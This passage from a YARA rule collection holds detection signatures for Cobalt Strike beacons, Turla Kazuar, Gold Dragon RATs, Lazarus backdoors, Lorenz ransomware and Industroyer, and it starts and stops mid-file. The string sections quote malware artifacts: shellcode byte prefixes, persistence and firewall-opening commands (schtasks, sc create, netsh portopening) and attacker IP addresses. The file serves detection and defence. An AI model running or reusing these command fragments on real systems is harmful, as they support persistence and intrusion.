}

rule Cobaltbaltstrike_strike_Payload_XORed
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "0e075644-e278-5c5b-bdcc-dc2d6a32ce73"

	strings:
		$h01 = { 10 ?? 00 00 ?? ?? ?? 00 ?? ?? ?? ?? 61 61 61 61 }

	condition:
		uint32be( @h01 + 8 ) ^ uint32be( @h01 + 16 ) == 0xFCE88900 or uint32be( @h01 + 8 ) ^ uint32be( @h01 + 16 ) == 0xFC4883E4 or uint32be( @h01 + 8 ) ^ uint32be( @h01 + 16 ) == 0x4D5AE800 or uint32be( @h01 + 8 ) ^ uint32be( @h01 + 16 ) == 0x4D5A4152 or uint32be( @h01 + 8 ) ^ uint32be( @h01 + 16 ) == 0x90909090
}

rule Cobaltbaltstrike_Beacon_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "6ffaafe6-2758-53e4-b5b8-6d8350baf428"

	strings:
		$h01 = { 4D 5A E8 00 00 00 00 5B 89 DF 52 45 55 89 E5 81 C3 ?? ?? ?? ?? FF D3 68 }
		$h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
		$h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
		$h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }

	condition:
		$h01 and any of ( $h1* )
}

rule Cobaltbaltstrike_Beacon_x64
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "5d6d86ec-9e05-5596-b623-30f44c6f44db"

	strings:
		$h01 = { 4D 5A 41 52 55 48 89 E5 48 81 EC 20 00 00 00 48 8D 1D EA FF FF FF 48 89 }
		$h11 = { 00 01 00 01 00 02 ?? ?? 00 02 00 01 00 02 ?? ?? 00 }
		$h12 = { 69 68 69 68 69 6B ?? ?? 69 6B 69 68 69 6B ?? ?? 69 }
		$h13 = { 2E 2F 2E 2F 2E 2C ?? ?? 2E 2C 2E 2F 2E 2C ?? ?? 2E }

	condition:
		$h01 and any of ( $h1* )
}

rule Cobaltbaltstrike_Beacon_Encoded
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "497e2a32-015a-5786-a6fa-de7084bfc389"

	strings:
		$s01 = "0x4d, 0x5a, 0xe8, 0x00, 0x00, 0x00, 0x00, 0x5b, 0x89, 0xdf, 0x52, 0x45, 0x55, 0x89, 0xe5, 0x81" ascii wide nocase
		$s02 = "0x4d,0x5a,0xe8,0x00,0x00,0x00,0x00,0x5b,0x89,0xdf,0x52,0x45,0x55,0x89,0xe5,0x81" ascii wide nocase
		$s03 = "0x4d, 0x5a, 0x41, 0x52, 0x55, 0x48, 0x89, 0xe5, 0x48, 0x81, 0xec, 0x20, 0x00, 0x00, 0x00, 0x48" ascii wide nocase
		$s04 = "0x4d,0x5a,0x41,0x52,0x55,0x48,0x89,0xe5,0x48,0x81,0xec,0x20,0x00,0x00,0x00,0x48" ascii wide nocase
		$s05 = "4d5ae8000000005b89df52455589e581" ascii wide nocase
		$s06 = "4d 5a e8 00 00 00 00 5b 89 df 52 45 55 89 e5 81" ascii wide nocase
		$s07 = "4d5a4152554889e54881ec2000000048" ascii wide nocase
		$s08 = "4d 5a 41 52 55 48 89 e5 48 81 ec 20 00 00 00 48" ascii wide nocase
		$s09 = "TVroAAAAAFuJ31JFVYnlg" ascii wide
		$s10 = "TVpBUlVIieVIgewgAAAAS" ascii wide
		$s11 = "bnnLIyMjI3iq/HFmdqrGo" ascii wide
		$s12 = "bnlicXZrqsZros8DIyMja" ascii wide
		$s13 = "TQBaAOgAAAAAAAAAAABbAIkA3wBSAEUAVQCJAOUAg" ascii wide
		$s14 = "TQBaAEEAUgBVAEgAiQDlAEgAgQDsACAAAAAAAAAAS" ascii wide
		$s15 = "biN5I2IjcSN2I2sjqiPGI2sjoiPPIwMjIyMjIyMja" ascii wide
		$s16 = "biN5I8sjIyMjIyMjIyN4I6oj/CNxI2YjdiOqI8Yjo" ascii wide
		$s17 = "Array(77,90,-24,0,0,0,0,91,-119,-33,82,69,85,-119,-27,-127" ascii wide
		$s18 = "Array(77, 90, -24, 0, 0, 0, 0, 91, -119, -33, 82, 69, 85, -119, -27, -127" ascii wide
		$s19 = "Array(77,90,65,82,85,72,-119,-27,72,-127,-20,32,0,0,0,72" ascii wide
		$s20 = "Array(77, 90, 65, 82, 85, 72, -119, -27, 72, -127, -20, 32, 0, 0, 0, 72" ascii wide
		$s21 = "MZ\"&Chr(-27)&Chr(0)&Chr(0)&Chr(0)&Chr(0)&Chr(91)&Chr(-119)&Chr(-33)&\"REU\"&Chr(-119)&Chr(-27)&Chr(-127)" ascii wide
		$s22 = "MZARUH\"&Chr(-119)&Chr(-27)&\"H\"&Chr(-127)&Chr(-20)&Chr(32)&Chr(0)&Chr(0)&Chr(0)&\"H" ascii wide
		$s23 = "\\x4d\\x5a\\xe8\\x00\\x00\\x00\\x00\\x5b\\x89\\xdf\\x52\\x45\\x55\\x89\\xe5\\x81" ascii wide nocase
		$s24 = "\\x4d\\x5a\\x41\\x52\\x55\\x48\\x89\\xe5\\x48\\x81\\xec\\x20\\x00\\x00\\x00\\x48" ascii wide nocase

	condition:
		any of them
}

rule Cobaltbaltstrike_Beacon_XORed_x86
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "d93c20e6-3e01-5132-88a0-63ace507cae9"

	strings:
		$h01 = { FC E8??000000 [0-32] EB27 ?? 8B?? 83??04 8B?? 31?? 83??04 ?? 8B?? 31?? 89?? 31?? 83??04 83??04 31?? 39?? 7402 EBEA ?? FF?? E8D4FFFFFF }
		$h02 = { FC E8??000000 [0-32] EB2B ?? 8B??00 83C504 8B??00 31?? 83C504 55 8B??00 31?? 89??00 31?? 83C504 83??04 31?? 39?? 7402 EBE8 ?? FF?? E8D0FFFFFF }
		$h11 = { 7402 EB(E8|EA) ?? FF?? E8(D0|D4)FFFFFF }

	condition:
		any of ( $h0* ) and ( uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x4D5AE800 or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x904D5AE8 or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x90904D5A or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x9090904D or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x90909090 )
}

rule Cobaltbaltstrike_Beacon_XORed_x64
{
	meta:
		author = "Avast Threat Intel Team"
		description = "Detects CobaltStrike payloads"
		reference = "https://github.com/avast/ioc"
		id = "15be610a-7552-5473-8da2-639220313783"

	strings:
		$h01 = { FC 4883E4F0 EB33 5D 8B4500 4883C504 8B4D00 31C1 4883C504 55 8B5500 31C2 895500 31D0 4883C504 83E904 31D2 39D1 7402 EBE7 58 FC 4883E4F0 FFD0 E8C8FFFFFF }
		$h11 = { FC 4883E4F0 FFD0 E8C8FFFFFF }

	condition:
		$h01 and ( uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x4D5A4152 or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x904D5A41 or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x90904D5A or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x9090904D or uint32be( @h11 + 12 ) ^ uint32be( @h11 + 20 ) == 0x90909090 )
}

import "pe"

rule SUSP_THOR_Unsigned_Oct23_1
{
	meta:
		description = "Detects unsigned version of THOR scanner, which could be a backdoored / modified version of the scanner"
		author = "Florian Roth"
		reference = "Internal Research"
		date = "2023-10-28"
		score = 75
		id = "2ca6a192-675e-5f02-a7b1-40369eeb9904"

	strings:
		$s1 = "THOR APT Scanner" wide fullword
		$s2 = "Nextron Systems GmbH" wide fullword
		$sc1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 74 00 68 00 6F 00 72 }

	condition:
		uint16( 0 ) == 0x5a4d and all of them and pe.number_of_signatures == 0
}

import "pe"

rule apt_RU_Turla_Kazuar_DebugView_peFeatures
{
	meta:
		description = "Turla mimicking SysInternals Tools- peFeatures"
		reference = "https://www.epicturla.com/blog/sysinturla"
		version = "2.0"
		author = "JAG-S"
		score = 85
		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
		hash2 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
		id = "0a1675c0-8645-5288-9ef6-e68ffbfe0c3b"

	condition:
		uint16( 0 ) == 0x5a4d and ( pe.version_info [ "LegalCopyright" ] == "Test Copyright" and ( ( pe.version_info [ "ProductName" ] == "Sysinternals DebugView" and pe.version_info [ "Description" ] == "Sysinternals DebugView" ) or ( pe.version_info [ "FileVersion" ] == "4.80.0.0" and pe.version_info [ "Comments" ] == "Sysinternals DebugView" ) or ( pe.version_info [ "OriginalName" ] contains "DebugView.exe" and pe.version_info [ "InternalName" ] contains "DebugView.exe" ) or ( pe.version_info [ "OriginalName" ] == "Agent.exe" and pe.version_info [ "InternalName" ] == "Agent.exe" ) ) )
}

rule APT_MAL_RU_Turla_Kazuar_May20_1
{
	meta:
		description = "Detects Turla Kazuar malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.epicturla.com/blog/sysinturla"
		date = "2020-05-28"
		hash1 = "1749c96cc1a4beb9ad4d6e037e40902fac31042fa40152f1d3794f49ed1a2b5c"
		hash2 = "1fca5f41211c800830c5f5c3e355d31a05e4c702401a61f11e25387e25eeb7fa"
		hash3 = "2d8151dabf891cf743e67c6f9765ee79884d024b10d265119873b0967a09b20f"
		hash4 = "44cc7f6c2b664f15b499c7d07c78c110861d2cc82787ddaad28a5af8efc3daac"
		id = "cd0d1fa2-5303-55f8-90a7-4a699ec79230"

	strings:
		$s1 = "Sysinternals" ascii fullword
		$s2 = "Test Copyright" wide fullword
		$op1 = { 0d 01 00 08 34 2e 38 30 2e 30 2e 30 00 00 13 01 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and all of them
}

rule SNOWGLOBE_Babar_Malware
{
	meta:
		description = "Detects the Babar Malware used in the SNOWGLOBE attacks - file babar.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://motherboard.vice.com/read/meet-babar-a-new-malware-almost-certainly-created-by-france"
		date = "2015/02/18"
		hash = "27a0a98053f3eed82a51cdefbdfec7bb948e1f36"
		score = 80
		id = "53a61065-a3b3-563e-8ecc-513d8da68085"

	strings:
		$z0 = "admin\\Desktop\\Babar64\\Babar64\\obj\\DllWrapper" ascii fullword
		$z1 = "User-Agent: Mozilla/4.0 (compatible; MSI 6.0;" ascii fullword
		$z2 = "ExecQueryFailled!" fullword ascii
		$z3 = "NBOT_COMMAND_LINE" fullword
		$z4 = "!!!EXTRACT ERROR!!!File Does Not Exists-->[%s]" fullword
		$s1 = "/s /n %s \"%s\"" fullword ascii
		$s2 = "%%WINDIR%%\\%s\\%s" fullword ascii
		$s3 = "/c start /wait " fullword ascii
		$s4 = "(D;OICI;FA;;;AN)(A;OICI;FA;;;BG)(A;OICI;FA;;;SY)(A;OICI;FA;;;LS)" ascii
		$x1 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\" ascii
		$x2 = "%COMMON_APPDATA%" fullword ascii
		$x4 = "CONOUT$" fullword ascii
		$x5 = "cmd.exe" fullword ascii
		$x6 = "DLLPATH" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 1MB and ( ( 1 of ( $z* ) and 1 of ( $x* ) ) or ( 3 of ( $s* ) and 4 of ( $x* ) ) )
}

import "pe"

rule GoldDragon_malware_Feb18_1
{
	meta:
		description = "Detects malware from Gold Dragon report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
		date = "2018-02-03"
		score = 90
		id = "1da29f0f-4e83-56a0-b843-3b19d9b9a1b7"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "168c2f7752511dfd263a83d5d08a90db" or pe.imphash ( ) == "0606858bdeb129de33a2b095d7806e74" or pe.imphash ( ) == "51d992f5b9e01533eb1356323ed1cb0f" or pe.imphash ( ) == "bb801224abd8562f9ee8fb261b75e32a" )
}

rule GoldDragon_Aux_File
{
	meta:
		description = "Detects export from Gold Dragon - February 2018"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/"
		date = "2018-02-03"
		score = 90
		id = "8f23dec4-e369-500f-a036-32df13e5543e"

	strings:
		$x1 = "/////////////////////regkeyenum////////////" ascii

	condition:
		filesize < 500KB and 1 of them
}

import "pe"

rule GoldDragon_Ghost419_RAT
{
	meta:
		description = "Detects Ghost419 RAT from Gold Dragon report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/rW1yvZ"
		date = "2018-02-03"
		modified = "2023-01-06"
		hash1 = "45bfa1327c2c0118c152c7192ada429c6d4ae03b8164ebe36ab5ba9a84f5d7aa"
		hash2 = "ee7a9a7589cbbcac8b6bf1a3d9c5d1c1ada98e68ac2f43ff93f768661b7e4a85"
		hash3 = "dee482e5f461a8e531a6a7ea4728535aafdc4941a8939bc3c55f6cb28c46ad3d"
		hash4 = "2df9e274ce0e71964aca4183cec01fb63566a907981a9e7384c0d73f86578fe4"
		hash5 = "111ab6aa14ef1f8359c59b43778b76c7be5ca72dc1372a3603cd5814bfb2850d"
		hash6 = "0ca12b78644f7e4141083dbb850acbacbebfd3cfa17a4849db844e3f7ef1bee5"
		hash7 = "ae1b32aac4d8a35e2c62e334b794373c7457ebfaaab5e5e8e46f3928af07cde4"
		hash8 = "c54837d0b856205bd4ae01887aae9178f55f16e0e1a1e1ff59bd18dbc8a3dd82"
		hash9 = "db350bb43179f2a43a1330d82f3afeb900db5ff5094c2364d0767a3e6b97c854"
		id = "8ac951d5-4a18-50c5-8ded-8a0a6b585fd6"

	strings:
		$x2 = "WebKitFormBoundarywhpFxMBe19cSjFnG" ascii
		$x3 = "\\Microsoft\\HNC\\" ascii
		$x4 = "\\anternet abplorer" ascii
		$x5 = "%s\\abxplore.exe" fullword ascii
		$x6 = "GHOST419" fullword ascii
		$x7 = "I,m Online. %04d - %02d - %02d - %02d - %02d" fullword ascii
		$x8 = "//////////////////////////regkeyenum//////////////" ascii
		$s0 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; .NET CLR 1.1.4322)" fullword ascii
		$s1 = "www.GoldDragon.com" fullword ascii
		$s2 = "/c systeminfo >> %s" fullword ascii
		$s3 = "/c dir %s\\ >> %s" fullword ascii
		$s4 = "DownLoading %02x, %02x, %02x" fullword ascii
		$s5 = "Tran_dll.dll" fullword ascii
		$s6 = "MpCmdRunkr.dll" fullword ascii
		$s7 = "MpCmdRun.dll" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 600KB and ( ( pe.exports ( "ExportFunction" ) and pe.number_of_exports == 1 ) or ( 1 of ( $x* ) and 1 of ( $s* ) ) or 3 of them )
}

import "pe"

rule GoldDragon_RunningRAT
{
	meta:
		description = "Detects Running RAT from Gold Dragon report"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/rW1yvZ"
		date = "2018-02-03"
		hash1 = "0852f2c5741997d8899a34bb95c349d7a9fb7277cd0910656c3ce37a6f11cb88"
		hash2 = "2981e1a1b3c395cee6e4b9e6c46d062cf6130546b04401d724750e4c8382c863"
		hash3 = "7aa99ebc49a130f07304ed25655862a04cc20cb59d129e1416a7dfa04f7d3e51"
		id = "7de93103-46a5-5aba-90cf-26735a6a580e"

	strings:
		$x1 = "C:\\USERS\\WIN7_x64\\result.log" fullword wide
		$x2 = "rundll32.exe %s RunningRat" fullword ascii
		$x3 = "SystemRat.dll" fullword ascii
		$x4 = "rundll32.exe %s ExportFunction" fullword ascii
		$x5 = "rundll32.exe \"%s\" RunningRat" fullword ascii
		$x6 = "ixeorat.bin" fullword ascii
		$x7 = "C:\\USERS\\Public\\result.log" fullword ascii
		$a1 = "emanybtsohteg" fullword ascii
		$a2 = "tekcosesolc" fullword ascii
		$a3 = "emankcosteg" fullword ascii
		$a4 = "emantsohteg" fullword ascii
		$a5 = "tpokcostes" fullword ascii
		$a6 = "putratSASW" fullword ascii
		$s1 = "ParentDll.dll" fullword ascii
		$s2 = "MR - Already Existed" fullword ascii
		$s3 = "MR First Started, Registed OK!" fullword ascii
		$s4 = "RM-M : LoadResource OK!" fullword ascii
		$s5 = "D:\\result.log" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and ( pe.imphash ( ) == "c78ccc8f02286648c4373d3bf03efc43" or pe.exports ( "RunningRat" ) or 1 of ( $x* ) or 5 of ( $a* ) or 3 of ( $s* ) )
}

rule GoldDragon_RunnignRAT
{
	meta:
		description = "Detects Running RAT malware from Gold Dragon report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/rW1yvZ"
		date = "2018-02-03"
		modified = "2023-01-07"
		hash1 = "94aa827a514d7aa70c404ec326edaaad4b2b738ffaea5a66c0c9f246738df579"
		hash2 = "5cbc07895d099ce39a3142025c557b7fac41d79914535ab7ffc2094809f12a4b"
		hash3 = "98ccf3a463b81a47fdf4275e228a8f2266e613e08baae8bdcd098e49851ed49a"
		id = "b99b89a4-a764-5d72-8360-8e53461267d9"

	strings:
		$s1 = "cmd.exe /c systeminfo " fullword ascii
		$s2 = "ieproxy.dll" fullword ascii
		$s3 = "taskkill /f /im daumcleaner.exe" fullword ascii
		$s4 = "cmd.exe /c tasklist " fullword ascii
		$s5 = "rundll32.exe \"%s\" Run" fullword ascii
		$s6 = "Mozilla/5.0 (Windows NT 5.2; rv:12.0) Gecko/20100101 Firefox/12.0" fullword ascii
		$s7 = "%s\\%s_%03d" fullword wide
		$s8 = "\\PI_001.dat" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 3000KB and ( 3 of them )
}

rule redSails_EXE
{
	meta:
		description = "Detects Red Sails Hacktool by WinDivert references"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/BeetleChunks/redsails"
		date = "2017-10-02"
		hash1 = "7a7861d25b0c038d77838ecbd5ea5674650ad4f5faf7432a6f3cfeb427433fac"
		id = "e7ebbebf-e2d6-5cd3-b859-b804d39d1641"

	strings:
		$s1 = "bWinDivert64.dll" fullword ascii
		$s2 = "bWinDivert32.dll" fullword ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 6000KB and all of them )
}

rule redSails_PY
{
	meta:
		description = "Detects Red Sails Hacktool - Python"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/BeetleChunks/redsails"
		date = "2017-10-02"
		hash1 = "6ebedff41992b9536fe9b1b704a29c8c1d1550b00e14055e3c6376f75e462661"
		hash2 = "5ec20cb99030f48ba512cbc7998b943bebe49396b20cf578c26debbf14176e5e"
		id = "59d5e784-70ff-5061-9867-54c905ecfd8c"

	strings:
		$x1 = "Gained command shell on host" fullword ascii
		$x2 = "[!] Received an ERROR in shell()" fullword ascii
		$x3 = "Target IP address with backdoor installed" fullword ascii
		$x4 = "Open backdoor port on target machine" fullword ascii
		$x5 = "Backdoor port to open on victim machine" fullword ascii

	condition:
		1 of them
}

import "pe"

rule SUSP_Unsigned_GoogleUpdate
{
	meta:
		description = "Detects suspicious unsigned GoogleUpdate.exe"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2019-08-05"
		score = 60
		hash1 = "5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354"
		id = "2575b882-3526-5c42-9d50-83fb0b7df3f5"

	strings:
		$ac1 = { 00 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C
               00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65
               00 00 00 47 00 6F 00 6F 00 67 00 6C 00 65 00 55
               00 70 00 64 00 61 00 74 00 65 00 2E 00 65 00 78
               00 65 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 2000KB and $ac1 and pe.number_of_signatures < 1
}

rule APT_NK_Lazarus_RC4_Loop
{
	meta:
		author = "f-secure "
		description = "Detects RC4 loop in Lazarus Group implant"
		date = "2020-06-10"
		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
		id = "a9503795-b4b8-505e-a1bf-df64ec8c1c32"

	strings:
		$str_rc4_loop = { 41 FE 8? 00 01 00 00 45 0F B6 ?? 00 01 00 00 48
                        FF C? 43 0F B6 0? ?? 41 00 8? 01 01 00 00 41 0F
                        B6 ?? 01 01 00 00 }

	condition:
		int16 ( 0 ) == 0x5a4d and filesize < 3000KB and $str_rc4_loop
}

rule APT_NK_Lazarus_Network_Backdoor_Unpacked
{
	meta:
		author = "f-secure"
		description = "Detects unpacked variant of Lazarus Group network backdoor"
		date = "2020-06-10"
		reference = "https://labs.f-secure.com/publications/ti-report-lazarus-group-cryptocurrency-vertical"
		id = "8eda9e74-1a19-5510-82d8-cd2eb324629c"

	strings:
		$str_netsh_1 = "netsh firewall add portopening TCP %d" ascii wide nocase
		$str_netsh_2 = "netsh firewall delete portopening TCP %d" ascii wide nocase
		$str_mask_1 = "cmd.exe /c \"%s >> %s 2>&1\"" ascii wide
		$str_mask_2 = "cmd.exe /c \"%s 2>> %s\"" ascii wide
		$str_mask_3 = "%s\\%s\\%s" ascii wide
		$str_other_1 = "perflog.dat" ascii wide nocase
		$str_other_2 = "perflog.evt" ascii wide nocase
		$str_other_3 = "cbstc.log" ascii wide nocase
		$str_other_4 = "LdrGetProcedureAddress" ascii
		$str_other_5 = "NtProtectVirtualMemory" ascii

	condition:
		int16 ( 0 ) == 0x5a4d and filesize < 3000KB and 1 of ( $str_netsh* ) and 1 of ( $str_mask* ) and 1 of ( $str_other* )
}

rule MAL_RANSOM_Lorenz_May21_1
{
	meta:
		description = "Detects Lorenz Ransomware samples"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research - DACH TE"
		date = "2021-05-04"
		hash1 = "4b1170f7774acfdc5517fbe1c911f2bd9f1af498f3c3d25078f05c95701cc999"
		hash2 = "8258c53a44012f6911281a6331c3ecbd834b6698b7d2dbf4b1828540793340d1"
		hash3 = "c0c99b141b014c8e2a5c586586ae9dc01fd634ea977e2714fbef62d7626eb3fb"
		id = "0b18a4a3-82da-574b-8d10-daf2176448b9"

	strings:
		$x1 = "process call create \"cmd.exe /c schtasks /Create /F /RU System /SC ONLOGON " ascii fullword
		$x2 = "-----BEGIN PUBLIC KEY-----MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCn7fL/1qsWkJkUtXKZIJNqYfnVByVhK" ascii fullword
		$s1 = "process call create \"cmd.exe /c schtasks /Create /F " ascii fullword
		$s2 = "twr.ini" ascii fullword
		$s3 = "/c wmic /node:'" ascii fullword
		$op1 = { 0f 4f d9 81 ff dc 0f 00 00 5f 8d 4b 0? 0f 4e cb 83 fe 3c 5e 5b }
		$op2 = { 6a 02 e8 ?? ?? 0? 00 83 c4 18 83 f8 01 75 01 cc 6a 00 68 ?? ?? 00 00 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 4000KB and ( 1 of ( $x* ) or all of ( $op* ) or 3 of them )
}

rule Industroyer_Malware_1
{
	meta:
		description = "Detects Industroyer related malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/x81cSy"
		date = "2017-06-13"
		hash1 = "ad23c7930dae02de1ea3c6836091b5fb3c62a89bf2bcfb83b4b39ede15904910"
		hash2 = "018eb62e174efdcdb3af011d34b0bf2284ed1a803718fba6edffe5bc0b446b81"
		id = "f5ab571c-03a7-538a-ada1-0930d15af5cf"

	strings:
		$s1 = "haslo.exe" fullword ascii
		$s2 = "SYSTEM\\CurrentControlSet\\Services\\%ls" fullword wide
		$s3 = "SYS_BASCON.COM" fullword wide
		$s4 = "*.pcmt" fullword wide
		$s5 = "*.pcmi" fullword wide
		$x1 = { 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73
         00 5C 00 25 00 6C 00 73 00 00 00 49 00 6D 00 61
         00 67 00 65 00 50 00 61 00 74 00 68 00 00 00 43
         00 3A 00 5C 00 00 00 44 00 3A 00 5C 00 00 00 45
         00 3A 00 5C 00 00 00 }
		$x2 = "haslo.dat\x00Crash"

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 200KB and 1 of ( $x* ) or 2 of them )
}

rule Industroyer_Malware_2
{
	meta:
		description = "Detects Industroyer related malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/x81cSy"
		date = "2017-06-13"
		hash1 = "3e3ab9674142dec46ce389e9e759b6484e847f5c1e1fc682fc638fc837c13571"
		hash2 = "37d54e3d5e8b838f366b9c202f75fa264611a12444e62ae759c31a0d041aa6e4"
		hash3 = "ecaf150e087ddff0ec6463c92f7f6cca23cc4fd30fe34c10b3cb7c2a6d135c77"
		hash1 = "6d707e647427f1ff4a7a9420188a8831f433ad8c5325dc8b8cc6fc5e7f1f6f47"
		id = "0561a7bb-3b6c-5caf-9131-04924cee1e0f"

	strings:
		$x1 = "sc create %ls type= own start= auto error= ignore binpath= \"%ls\" displayname= \"%ls\"" fullword wide
		$x2 = "10.15.1.69:3128" fullword wide
		$s1 = "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)" fullword wide
		$s2 = "/c sc stop %s" fullword wide
		$s3 = "sc start %ls" fullword wide
		$s4 = "93.115.27.57" fullword wide
		$s5 = "5.39.218.152" fullword wide
		$s6 = "tierexe" fullword wide
		$s7 = "comsys" fullword wide
		$s8 = "195.16.88.6" fullword wide
		$s9 = "TieringService" fullword wide
		$a1 = "TEMP\x00\x00DEF" fullword wide
		$a2 = "TEMP\x00\x00DEF-C" fullword wide
		$a3 = "TEMP\x00\x00DEF-WS" fullword wide
		$a4 = "TEMP\x00\x00DEF-EP" fullword wide
		$a5 = "TEMP\x00\x00DC-2-TEMP" fullword wide
		$a6 = "TEMP\x00\x00DC-2" fullword wide
		$a7 = "TEMP\x00\x00CES-McA-TEMP" fullword wide
		$a8 = "TEMP\x00\x00SRV_WSUS" fullword wide
		$a9 = "TEMP\x00\x00SRV_DC-2" fullword wide
		$a10 = "TEMP\x00\x00SCE-WSUS01" fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of ( $x* ) or 3 of them or 1 of ( $a* ) ) or ( 5 of them )
}

rule Industroyer_Portscan_3
{
	meta:
		description = "Detects Industroyer related custom port scaner"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/x81cSy"
		date = "2017-06-13"
		hash1 = "893e4cca7fe58191d2f6722b383b5e8009d3885b5913dcd2e3577e5a763cdb3f"
		id = "f6675466-d469-562b-9fb6-7b72bce8a726"

	strings:
		$s1 = "!ZBfamily" fullword ascii
		$s2 = ":g/outddomo;" fullword ascii
		$s3 = "GHIJKLMNOTST" fullword ascii
		$d1 = "Error params Arguments!!!" fullword wide
		$d2 = "^(.+?.exe).*\\s+-ip\\s*=\\s*(.+)\\s+-ports\\s*=\\s*(.+)$" fullword wide
		$d3 = "Exhample:App.exe -ip= 127.0.0.1-100," fullword wide
		$d4 = "Error IP Range %ls - %ls" fullword wide
		$d5 = "Can't closesocket." fullword wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and all of ( $s* ) or 2 of ( $d* ) )
}

rule Industroyer_Portscan_3_Output
{
	meta:
		description = "Detects Industroyer related custom port scaner output file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/x81cSy"
		date = "2017-06-13"
		id = "4469f056-674c-5a44-84a5-12a65b8586d5"

	strings:
		$s1 = "WSA library load complite." fullword ascii
		$s2 = "Connection refused" fullword ascii

	condition:
		all of them
}

rule Industroyer_Malware_4
{
	meta:
		description = "Detects Industroyer related malware"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/x81cSy"
		date = "2017-06-13"
